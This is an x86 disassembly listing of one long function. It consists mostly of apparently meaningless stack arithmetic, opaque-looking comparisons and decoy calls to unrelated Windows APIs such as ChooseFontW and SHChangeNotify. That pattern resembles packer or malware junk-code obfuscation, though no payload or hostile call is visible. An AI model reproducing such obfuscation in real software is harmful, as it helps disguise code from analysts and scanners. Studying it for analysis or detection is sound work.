push ecx
lea edx, [ebp - 0x7d8]
push edx
lea eax, [ebp - 0x61c]
push eax
lea ecx, [ebp - 0x5f5]
push ecx
lea edx, [ebp - 0xa40]
push edx
call dword [sym.imp.ole32.dll_CoQueryProxyBlanket]
mov dword [ebp - 0x1e1c], eax
mov dword [ebp - 0x19a8], 0xe758
mov eax, dword [ebp - 0x22a0]
sub eax, dword [ebp - 0x76c]
mov ecx, dword [ebp - 0x167c]
mov edx, dword [ebp - 0xa40]
mov ecx, dword [ecx]
and ecx, dword [edx]
cmp eax, ecx
jae 0x4f1b61
mov edx, dword [ebp + 0xc]
sub edx, dword [ebp - 0x10d0]
mov eax, dword [ebp - 0x16d0]
mov dword [eax], edx
movzx ecx, word [ebp - 0x18dc]
push ecx
mov edx, dword [ebp - 0xab8]
movzx eax, byte [edx]
push eax
push 0x9e
mov dl, byte [ebp - 0x213a]
mov cl, byte [ebp - 0xead]
call fcn.00478870
movzx ecx, word [ebp - 0xa9c]
movzx edx, word [ebp - 0x10dc]
add ecx, edx
mov word [ebp - 0x18dc], cx
lea eax, [ebp - 0x7d8]
push eax
lea ecx, [ebp - 0x7d8]
push ecx
call dword [sym.imp.ole32.dll_CoTreatAsClass]
mov dword [ebp - 0x1a58], eax
movzx edx, byte [ebp - 0x213a]
mov eax, dword [ebp - 0xf9c]
movzx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x168]
mov byte [eax], dl
lea ecx, [ebp + 0xc]
mov dword [ebp - 0x394], ecx
mov edx, dword [ebp - 0x8b8]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x7bd]
add eax, ecx
movzx edx, byte [ebp - 0xead]
mov ecx, dword [ebp - 0xf9c]
movzx ecx, byte [ecx]
add edx, ecx
cmp eax, edx
jge 0x4f1bbf
mov edx, dword [ebp - 0xe60]
mov eax, dword [ebp - 0x29c]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x76c], ecx
mov edx, dword [ebp - 0x168]
movzx eax, byte [edx]
push eax
movzx ecx, byte [ebp - 0x5f5]
push ecx
call fcn.004d1cd0
mov edx, dword [ebp - 0x394]
mov eax, dword [ebp + 0xc]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x308]
mov dword [ecx], eax
mov edx, dword [ebp - 0x308]
mov eax, dword [edx]
and eax, dword [ebp - 0x10d0]
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp - 0x1bdc]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0x5f5]
shl edx, cl
mov eax, dword [ebp - 0xab8]
mov byte [eax], dl
mov ecx, dword [ebp - 0x168]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0xead]
xor edx, eax
mov byte [ebp - 0xa49], dl
mov ecx, dword [ebp - 0x14a0]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x76c]
shr edx, cl
mov dword [ebp - 0x1fbc], edx
mov eax, dword [ebp - 0xc34]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x10d0]
mov edx, dword [ebp - 0x6cc]
mov dword [edx], ecx
mov eax, dword [ebp - 0x15bc]
sub eax, 8
mov dword [ebp - 0x15bc], eax
mov ecx, dword [ebp - 0x16d0]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x208]
mov eax, dword [ebp - 0xc34]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2168]
add ecx, dword [ebp - 0x208]
mov dword [ebp + 0xc], ecx
mov edx, dword [ebp - 0x308]
mov eax, dword [ebp - 0x13d8]
mov ecx, dword [edx]
and ecx, dword [eax]
mov edx, dword [ebp - 0x394]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1bdc]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0xab8]
movsx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x1bdc]
mov byte [edx], cl
mov eax, dword [ebp - 0x394]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x13d8]
add ecx, dword [edx]
mov dword [ebp - 0x10d0], ecx
mov eax, dword [ebp - 0x8b8]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x7bd]
sub ecx, edx
mov eax, dword [ebp - 0x168]
mov byte [eax], cl
mov ecx, dword [ebp - 0xc34]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x16d0]
add edx, dword [eax]
mov ecx, dword [ebp - 0x394]
mov dword [ecx], edx
mov edx, dword [ebp - 0x167c]
mov eax, dword [ebp - 0x14a0]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0xe60]
mov dword [edx], ecx
mov eax, dword [ebp - 0x167c]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x22a0]
mov edx, dword [ebp - 0x29c]
mov dword [edx], ecx
movsx eax, byte [ebp - 0x5f5]
mov ecx, dword [ebp - 0x1bdc]
movsx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0xab8]
mov byte [ecx], al
movzx edx, byte [ebp - 0xa49]
mov eax, dword [ebp - 0x8b8]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp + 8], dl
mov edx, dword [ebp - 0x33c]
mov eax, dword [edx]
or eax, dword [ebp - 0x10d0]
mov ecx, dword [ebp - 0xc34]
mov dword [ecx], eax
mov edx, dword [ebp - 0x14a0]
mov eax, dword [ebp - 0x76c]
mov ecx, dword [edx]
shl eax, cl
mov dword [ebp - 0x22a0], eax
mov ecx, dword [ebp - 0x208]
xor ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 0x394]
mov dword [edx], ecx
mov eax, dword [ebp - 0x394]
mov ecx, dword [ebp - 0x16d0]
mov edx, dword [eax]
mov ecx, dword [ecx]
sar edx, cl
mov eax, dword [ebp - 0x6cc]
mov dword [eax], edx
movzx ecx, byte [ebp - 0xa49]
movzx edx, byte [ebp + 8]
and ecx, edx
mov byte [ebp - 0xead], cl
mov eax, dword [ebp - 0x13d8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x394]
add ecx, dword [edx]
mov eax, dword [ebp - 0xc34]
mov dword [eax], ecx
cmp dword [ebp - 0x15bc], 0x53aa
jae 0x4f1bbf
mov ecx, dword [ebp - 0x14a0]
mov edx, dword [ebp - 0x29c]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0xa40]
mov dword [ecx], eax
mov edx, dword [ebp - 0x308]
mov eax, dword [ebp - 0x2168]
and eax, dword [edx]
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp - 0x8b8]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0xead]
sub edx, eax
mov byte [ebp + 8], dl
mov ecx, dword [ebp - 0x168]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0xf9c]
movzx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x8b8]
mov byte [eax], dl
movzx ecx, word [ebp - 0x18dc]
movzx edx, word [ebp - 0x10dc]
add ecx, edx
mov word [ebp - 0xa9c], cx
mov eax, dword [ebp - 0x8b8]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x168]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0xead], cl
mov ecx, dword [ebp - 0x1fbc]
add ecx, dword [ebp - 0x22a0]
mov edx, dword [ebp - 0x167c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x13d8]
mov ecx, dword [ebp - 0x2168]
or ecx, dword [eax]
mov dword [ebp + 0xc], ecx
mov edx, dword [ebp - 0x2168]
mov ecx, dword [ebp - 0x10d0]
shl edx, cl
mov dword [ebp - 0x208], edx
mov eax, dword [ebp - 0xe60]
mov edx, dword [ebp - 0x22a0]
mov ecx, dword [eax]
shr edx, cl
mov dword [ebp - 0x76c], edx
mov eax, dword [ebp - 0x394]
mov ecx, dword [ebp - 0x6cc]
mov edx, dword [eax]
xor edx, dword [ecx]
mov dword [ebp + 0xc], edx
mov eax, dword [ebp - 0x804]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x1fbc]
mov edx, dword [ebp - 0x14a0]
mov dword [edx], ecx
movzx eax, byte [ebp - 0x7bd]
movzx ecx, byte [ebp - 0x213a]
sub eax, ecx
mov byte [ebp + 8], al
mov edx, dword [ebp - 0x394]
mov eax, dword [ebp - 0x10d0]
sub eax, dword [edx]
mov ecx, dword [ebp - 0xc34]
mov dword [ecx], eax
mov edx, dword [ebp - 0x76c]
add edx, dword [ebp - 0x1fbc]
mov eax, dword [ebp - 0x29c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x6cc]
mov edx, dword [ebp + 0xc]
add edx, dword [ecx]
mov dword [ebp - 0x208], edx
mov eax, dword [ebp - 0x33c]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x10d0]
mov dword [ebp + 0xc], ecx
movzx edx, word [ebp - 0xa9c]
movzx eax, word [ebp - 0x18dc]
sub edx, eax
mov word [ebp - 0x10dc], dx
mov ecx, dword [ebp - 0x168]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0xa49]
add edx, eax
mov byte [ebp - 0xead], dl
mov ecx, dword [ebp - 0x1bdc]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x5f5]
sub edx, eax
mov ecx, dword [ebp - 0xab8]
mov byte [ecx], dl
mov edx, dword [ebp - 0xa40]
mov eax, dword [edx]
add eax, dword [ebp - 0x76c]
mov ecx, dword [ebp - 0x167c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4d4]
add edx, 0x59
mov dword [ebp - 0x4d4], edx
mov eax, dword [ebp - 0x76c]
mov ecx, dword [ebp - 0x22a0]
shr eax, cl
mov ecx, dword [ebp - 0x29c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x308]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x2168]
shl eax, cl
mov ecx, dword [ebp - 0x16d0]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x213a]
mov eax, dword [ebp - 0x8b8]
movzx ecx, byte [eax]
or edx, ecx
mov eax, dword [ebp - 0x168]
mov byte [eax], dl
movzx ecx, word [ebp - 0x18dc]
movzx edx, word [ebp - 0x10dc]
xor ecx, edx
mov word [ebp - 0xa9c], cx
mov eax, dword [ebp - 0x804]
mov ecx, dword [ebp - 0xe60]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [ebp - 0x29c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x10d0]
add ecx, dword [ebp - 0x208]
mov dword [ebp + 0xc], ecx
mov edx, dword [ebp - 0x394]
mov eax, dword [ebp - 0x10d0]
add eax, dword [edx]
mov ecx, dword [ebp - 0xc34]
mov dword [ecx], eax
mov edx, dword [ebp - 0x167c]
mov eax, dword [edx]
add eax, dword [ebp - 0x22a0]
mov ecx, dword [ebp - 0x804]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x213a]
movzx eax, byte [ebp - 0xa49]
sub edx, eax
mov ecx, dword [ebp - 0x8b8]
mov byte [ecx], dl
movzx edx, word [ebp - 0x18dc]
movzx eax, word [ebp - 0xa9c]
sub edx, eax
mov word [ebp - 0x10dc], dx
mov ecx, dword [ebp - 0x10d0]
and ecx, dword [ebp - 0x208]
mov edx, dword [ebp - 0x33c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x10d0]
sub eax, dword [ebp - 0x208]
mov ecx, dword [ebp - 0x394]
mov dword [ecx], eax
mov edx, dword [ebp - 0x29c]
mov eax, dword [ebp - 0x76c]
sub eax, dword [edx]
mov ecx, dword [ebp - 0xa40]
mov dword [ecx], eax
mov edx, dword [ebp - 0x10d0]
add edx, dword [ebp - 0x208]
mov dword [ebp - 0x2168], edx
mov eax, dword [ebp - 0x16d0]
mov ecx, dword [ebp - 0x2168]
xor ecx, dword [eax]
mov dword [ebp + 0xc], ecx
movsx edx, byte [ebp - 0x5f5]
mov eax, dword [ebp - 0xab8]
movsx ecx, byte [eax]
sar edx, cl
mov ecx, dword [ebp - 0x1bdc]
mov byte [ecx], dl
movsx edx, byte [ebp - 0x5f5]
mov eax, dword [ebp - 0xab8]
movsx ecx, byte [eax]
or edx, ecx
mov eax, dword [ebp - 0x1bdc]
mov byte [eax], dl
movsx edx, byte [ebp - 0x5f5]
mov eax, dword [ebp - 0x1bdc]
movsx ecx, byte [eax]
shl edx, cl
mov ecx, dword [ebp - 0xab8]
mov byte [ecx], dl
mov edx, dword [ebp - 0x168]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x7bd]
and eax, ecx
mov edx, dword [ebp - 0x168]
mov byte [edx], al
mov eax, dword [ebp - 0x14a0]
mov ecx, dword [ebp - 0x1fbc]
add ecx, dword [eax]
mov edx, dword [ebp - 0x804]
mov dword [edx], ecx
mov eax, dword [ebp - 0xc34]
mov ecx, dword [ebp - 0x6cc]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x13d8]
mov dword [eax], edx
movzx ecx, word [ebp - 0x10dc]
movzx edx, word [ebp - 0x18dc]
sub ecx, edx
mov word [ebp - 0xa9c], cx
movzx eax, byte [ebp - 0xead]
movzx ecx, byte [ebp - 0xa49]
add eax, ecx
mov byte [ebp - 0x213a], al
mov edx, dword [ebp - 0x22a0]
sub edx, dword [ebp - 0x76c]
mov eax, dword [ebp - 0xa40]
mov dword [eax], edx
mov ecx, dword [ebp - 0x16d0]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x10d0]
mov dword [ebp + 0xc], edx
mov eax, dword [ebp - 0x16d0]
mov ecx, dword [ebp - 0x10d0]
and ecx, dword [eax]
mov edx, dword [ebp - 0x394]
mov dword [edx], ecx
cmp dword [ebp - 0x4d4], 0x75e6
jb 0x4f1de0
mov eax, dword [ebp - 0x22a0]
add eax, dword [ebp - 0x1fbc]
mov ecx, dword [ebp - 0xe60]
mov dword [ecx], eax
lea edx, [ebp - 0xead]
mov dword [ebp - 0x680], edx
movzx eax, word [ebp - 0x18dc]
movzx ecx, word [ebp - 0x10dc]
xor eax, ecx
movzx edx, word [ebp - 0xa9c]
cmp eax, edx
jle 0x4f22e2
mov eax, dword [ebp - 0x22a0]
or eax, dword [ebp - 0x1fbc]
mov ecx, dword [ebp - 0x804]
mov dword [ecx], eax
movzx edx, word [ebp - 0xa9c]
mov dword [ebp - 0x2690], edx
cmp dword [ebp - 0x2690], 0xb8d
je 0x4f22cb
cmp dword [ebp - 0x2690], 0xd54
je 0x4f227a
jmp 0x4f22e2
mov eax, dword [ebp - 0x308]
mov edx, dword [ebp - 0x10d0]
mov ecx, dword [eax]
sar edx, cl
mov dword [ebp + 0xc], edx
lea eax, [ebp - 0x1ec0]
push eax
call dword [sym.imp.COMDLG32.dll_ChooseFontW]
mov dword [ebp - 0x660], eax
mov ecx, dword [ebp - 0x33c]
mov edx, dword [ebp - 0x10d0]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x13d8]
mov dword [eax], edx
mov edx, dword [ebp - 0x1fbc]
mov ecx, dword [ebp - 0xa9c]
call fcn.004721c0
jmp 0x4f22e2
movzx ecx, word [ebp - 0x18dc]
movzx edx, word [ebp - 0xa9c]
sub ecx, edx
mov word [ebp - 0x10dc], cx
movsx eax, byte [ebp - 0x5f5]
mov ecx, dword [ebp - 0xab8]
movsx edx, byte [ecx]
and eax, edx
mov ecx, dword [ebp - 0x1bdc]
mov byte [ecx], al
mov edx, dword [ebp - 0x680]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x213a]
add eax, ecx
mov byte [ebp + 8], al
mov edx, dword [ebp - 0x50]
add edx, 0x16
mov dword [ebp - 0x50], edx
mov eax, dword [ebp - 0x208]
add eax, dword [ebp - 0x2168]
mov ecx, dword [ebp - 0x16d0]
mov dword [ecx], eax
mov edx, dword [ebp - 0xa40]
mov eax, dword [ebp - 0x1fbc]
add eax, dword [edx]
mov ecx, dword [ebp - 0x804]
mov dword [ecx], eax
mov edx, dword [ebp - 0x167c]
mov eax, dword [ebp - 0x14a0]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x804]
mov dword [edx], ecx
mov eax, dword [ebp - 0x394]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x208]
mov dword [ebp - 0x10d0], ecx
mov edx, dword [ebp - 0x394]
mov eax, dword [ebp - 0xc34]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x308]
mov dword [edx], ecx
mov eax, dword [ebp - 0x33c]
mov ecx, dword [ebp - 0x208]
add ecx, dword [eax]
mov edx, dword [ebp - 0x13d8]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1bdc]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x5f5]
and ecx, edx
mov eax, dword [ebp - 0xab8]
mov byte [eax], cl
movzx ecx, byte [ebp - 0xa49]
movzx edx, byte [ebp - 0x7bd]
or ecx, edx
mov byte [ebp - 0xead], cl
mov eax, dword [ebp - 0xe60]
mov ecx, dword [ebp - 0x76c]
xor ecx, dword [eax]
mov dword [ebp - 0x1fbc], ecx
mov edx, dword [ebp - 0x308]
mov eax, dword [ebp - 0x208]
mov ecx, dword [edx]
sar eax, cl
mov ecx, dword [ebp - 0xc34]
mov dword [ecx], eax
mov edx, dword [ebp - 0xc34]
mov eax, dword [ebp - 0x10d0]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0x394]
mov dword [ecx], eax
mov edx, dword [ebp - 0x22a0]
sub edx, dword [ebp - 0x1fbc]
mov eax, dword [ebp - 0xe60]
mov dword [eax], edx
mov ecx, dword [ebp - 0x208]
add ecx, dword [ebp - 0x10d0]
mov edx, dword [ebp - 0x394]
mov dword [edx], ecx
movzx eax, byte [ebp + 8]
mov ecx, dword [ebp - 0xf9c]
movzx edx, byte [ecx]
and eax, edx
mov byte [ebp - 0x7bd], al
mov eax, dword [ebp - 0x10d0]
add eax, dword [ebp - 0x208]
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp - 0x1bdc]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0xab8]
movsx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x5f5], dl
mov edx, dword [ebp - 0x167c]
mov eax, dword [ebp - 0x76c]
sub eax, dword [edx]
mov dword [ebp - 0x22a0], eax
cmp dword [ebp - 0x50], 0x4b6e
jbe 0x4f22e2
mov ecx, dword [ebp - 0x13d8]
mov edx, dword [ebp - 0x16d0]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0xc34]
mov edx, dword [ebp - 0x10d0]
add edx, dword [ecx]
cmp eax, edx
je 0x4f2539
mov eax, dword [ebp - 0x33c]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x208]
mov edx, dword [ebp - 0x33c]
mov dword [edx], ecx
call dword [sym.imp.ole32.dll_CoTestCancel]
mov dword [ebp - 0x102c], eax
movzx eax, byte [ebp - 0x7bd]
mov ecx, dword [ebp - 0x680]
movzx ecx, byte [ecx]
shl eax, cl
mov byte [ebp - 0xa49], al
movzx edx, byte [ebp - 0x7bd]
mov eax, dword [ebp - 0x8b8]
movzx ecx, byte [eax]
or edx, ecx
mov eax, dword [ebp - 0x168]
mov byte [eax], dl
call dword [sym.imp.ole32.dll_CoGetCurrentProcess]
mov dword [ebp - 0x1fbc], eax
call fcn.004d7e60
mov ecx, dword [ebp - 0x10d0]
xor ecx, dword [ebp - 0x208]
mov edx, dword [ebp - 0x13d8]
mov dword [edx], ecx
jmp 0x4f26a0
mov eax, dword [ebp - 0xa40]
mov ecx, dword [ebp - 0x167c]
mov edx, dword [eax]
mov ecx, dword [ecx]
shr edx, cl
mov eax, dword [ebp - 0x804]
mov dword [eax], edx
mov dword [ebp - 0xad0], 0x17ce
lea ecx, [ebp - 0x2168]
mov dword [ebp - 0x142c], ecx
mov edx, dword [ebp - 0x14a0]
mov eax, dword [edx]
mov dword [ebp - 0x2694], eax
cmp dword [ebp - 0x2694], 0
je 0x4f2585
jmp 0x4f2645
mov ecx, dword [ebp - 0xc34]
mov edx, dword [ebp - 0x394]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0x13d8]
mov edx, dword [ebp - 0x2168]
sub edx, dword [ecx]
cmp eax, edx
jge 0x4f262e
lea eax, [ebp - 0x1730]
push eax
lea ecx, [ebp - 0xc58]
push ecx
push 0xaf
push 0x4d
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
mov edx, dword [ebp - 0xc34]
mov eax, dword [edx]
sub eax, dword [ebp - 0x10d0]
mov dword [ebp + 0xc], eax
movsx ecx, byte [ebp - 0x5f5]
mov edx, dword [ebp - 0xab8]
movsx eax, byte [edx]
and ecx, eax
mov edx, dword [ebp - 0x1bdc]
mov byte [edx], cl
movzx eax, word [ebp - 0xa9c]
push eax
mov ecx, dword [ebp - 0x1bdc]
movzx edx, byte [ecx]
push edx
push 0x44
mov eax, dword [ebp - 0x168]
mov dl, byte [eax]
mov cl, byte [ebp + 8]
call fcn.00478870
push 0xac
mov ecx, dword [ebp - 0x24cc]
push ecx
mov edx, dword [ebp - 0x24cc]
push edx
call dword [sym.imp.COMCTL32.dll_DrawInsert]
movzx eax, byte [ebp + 8]
mov ecx, dword [ebp - 0x168]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x213a], al
jmp 0x4f2696
mov eax, dword [ebp - 0x14a0]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x76c]
mov edx, dword [ebp - 0x167c]
mov dword [edx], ecx
movzx eax, word [ebp - 0xa9c]
push eax
mov ecx, dword [ebp - 0xab8]
movzx edx, byte [ecx]
push edx
push 0xf5
mov dl, byte [ebp - 0x213a]
mov eax, dword [ebp - 0x168]
mov cl, byte [eax]
call fcn.00478870
mov ecx, dword [ebp - 0x142c]
mov edx, dword [ebp + 0xc]
sub edx, dword [ecx]
mov dword [ebp - 0x2168], edx
mov dword [ebp - 0x22dc], 0x9518
mov eax, dword [ebp - 0x10d0]
add eax, dword [ebp - 0x2168]
mov ecx, dword [ebp - 0x394]
mov dword [ecx], eax
mov edx, dword [ebp - 0x308]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x13d8]
add eax, dword [ecx]
mov edx, dword [ebp - 0x142c]
mov dword [edx], eax
mov eax, dword [ebp - 0x6cc]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x2168]
sar edx, cl
mov eax, dword [ebp - 0x16d0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x680]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0xf9c]
movzx ecx, byte [eax]
or edx, ecx
mov byte [ebp - 0xead], dl
mov edx, dword [ebp - 0x1bdc]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x5f5]
xor eax, ecx
mov edx, dword [ebp - 0xab8]
mov byte [edx], al
mov eax, dword [ebp - 0xf9c]
movzx edx, byte [eax]
mov eax, dword [ebp - 0x168]
movzx ecx, byte [eax]
shl edx, cl
mov ecx, dword [ebp - 0xf9c]
mov byte [ecx], dl
mov edx, dword [ebp - 0x33c]
mov eax, dword [edx]
and eax, dword [ebp - 0x10d0]
mov ecx, dword [ebp - 0x13d8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x29c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x804]
add eax, dword [ecx]
mov dword [ebp - 0x1fbc], eax
mov edx, dword [ebp - 0x76c]
add edx, dword [ebp - 0x22a0]
mov eax, dword [ebp - 0x29c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x168]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x8b8]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp + 8], dl
mov edx, dword [ebp - 0x168]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0xead]
sub eax, ecx
mov edx, dword [ebp - 0x8b8]
mov byte [edx], al
mov eax, dword [ebp - 0xc34]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x208]
mov edx, dword [ebp - 0x308]
mov dword [edx], ecx
mov eax, dword [ebp - 0x15b4]
add eax, 0x6b
mov dword [ebp - 0x15b4], eax
mov ecx, dword [ebp - 0xe60]
mov edx, dword [ebp - 0xa40]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x29c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x13d8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xc34]
add eax, dword [ecx]
mov edx, dword [ebp - 0x16d0]
mov dword [edx], eax
mov eax, dword [ebp - 0x13d8]
mov ecx, dword [ebp - 0x10d0]
add ecx, dword [eax]
mov dword [ebp + 0xc], ecx
mov edx, dword [ebp - 0x1bdc]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x5f5]
sub eax, ecx
mov edx, dword [ebp - 0xab8]
mov byte [edx], al
movzx eax, byte [ebp - 0x7bd]
mov ecx, dword [ebp - 0x8b8]
movzx edx, byte [ecx]
or eax, edx
mov ecx, dword [ebp - 0x680]
mov byte [ecx], al
mov edx, dword [ebp - 0x29c]
mov eax, dword [ebp - 0x22a0]
mov ecx, dword [edx]
shr eax, cl
mov ecx, dword [ebp - 0xa40]
mov dword [ecx], eax
mov edx, dword [ebp - 0x33c]
mov eax, dword [ebp + 0xc]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x6cc]
mov dword [ecx], eax
mov edx, dword [ebp - 0x6cc]
mov eax, dword [ebp - 0x2168]
mov ecx, dword [edx]
shl eax, cl
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp - 0xab8]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x5f5]
and edx, eax
mov ecx, dword [ebp - 0x1bdc]
mov byte [ecx], dl
movzx edx, word [ebp - 0xa9c]
movzx eax, word [ebp - 0x18dc]
sub edx, eax
mov word [ebp - 0x10dc], dx
movzx ecx, byte [ebp - 0xead]
movzx edx, byte [ebp + 8]
add ecx, edx
mov eax, dword [ebp - 0x8b8]
mov byte [eax], cl
mov ecx, dword [ebp - 0xa40]
mov edx, dword [ebp - 0x76c]
add edx, dword [ecx]
mov dword [ebp - 0x22a0], edx
mov eax, dword [ebp - 0x394]
mov ecx, dword [ebp - 0xc34]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp + 0xc], edx
mov eax, dword [ebp - 0x308]
mov ecx, dword [ebp - 0x2168]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x142c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x167c]
mov ecx, dword [ebp - 0x22a0]
and ecx, dword [eax]
mov dword [ebp - 0x76c], ecx
mov edx, dword [ebp - 0x6cc]
mov eax, dword [edx]
sub eax, dword [ebp - 0x10d0]
mov ecx, dword [ebp - 0x394]
mov dword [ecx], eax
mov edx, dword [ebp - 0xe60]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x14a0]
add eax, dword [ecx]
mov edx, dword [ebp - 0x804]
mov dword [edx], eax
movzx eax, byte [ebp - 0x213a]
mov ecx, dword [ebp - 0xf9c]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp + 8], al
mov eax, dword [ebp - 0x142c]
mov ecx, dword [ebp - 0x208]
xor ecx, dword [eax]
mov edx, dword [ebp - 0x33c]
mov dword [edx], ecx
mov eax, dword [ebp - 0xe60]
mov ecx, dword [ebp - 0xa40]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov dword [ebp - 0x22a0], edx
mov eax, dword [ebp - 0x142c]
mov edx, dword [ebp + 0xc]
mov ecx, dword [eax]
sar edx, cl
mov eax, dword [ebp - 0x6cc]
mov dword [eax], edx
mov ecx, dword [ebp - 0x10d0]
or ecx, dword [ebp - 0x208]
mov edx, dword [ebp - 0x13d8]
mov dword [edx], ecx
movzx eax, byte [ebp + 8]
movzx ecx, byte [ebp - 0xead]
and eax, ecx
mov edx, dword [ebp - 0x168]
mov byte [edx], al
mov eax, dword [ebp - 0x1bdc]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x5f5]
sub ecx, edx
mov eax, dword [ebp - 0xab8]
mov byte [eax], cl
cmp dword [ebp - 0x15b4], 0x75c0
jne 0x4f26a0
mov ecx, dword [ebp - 0x1bdc]
mov dl, byte [ecx]
mov byte [ebp - 0x2698], dl
cmp byte [ebp - 0x2698], 0
je 0x4f2a16
cmp byte [ebp - 0x2698], 0x15
je 0x4f2a95
jmp 0x4f2b43
mov eax, dword [ebp - 0x1fbc]
mov dword [ebp - 0x269c], eax
cmp dword [ebp - 0x269c], 0xd1832429
je 0x4f2a30
jmp 0x4f2a90
lea ecx, [ebp - 0x1c88]
push ecx
call dword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
mov dword [ebp - 0x1f44], eax
mov edx, dword [ebp - 0xa40]
mov eax, dword [ebp - 0x22a0]
add eax, dword [edx]
mov ecx, dword [ebp - 0xe60]
mov dword [ecx], eax
mov edx, dword [ebp - 0xab8]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x1bdc]
movsx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x5f5], al
call fcn.0046d040
mov eax, dword [ebp - 0xa40]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x167c]
add ecx, dword [edx]
mov eax, dword [ebp - 0xe60]
mov dword [eax], ecx
jmp 0x4f2b43
mov ecx, dword [ebp - 0xe60]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x1fbc]
mov eax, dword [ebp - 0x804]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x22a0]
cmp edx, ecx
ja 0x4f2b2d
movzx edx, word [ebp - 0xa9c]
mov dword [ebp - 0x26a0], edx
cmp dword [ebp - 0x26a0], 0xb92
je 0x4f2ad0
jmp 0x4f2b13
mov eax, dword [ebp - 0x16d0]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x208]
mov dword [ebp - 0x2168], ecx
lea edx, [ebp - 0x1764]
push edx
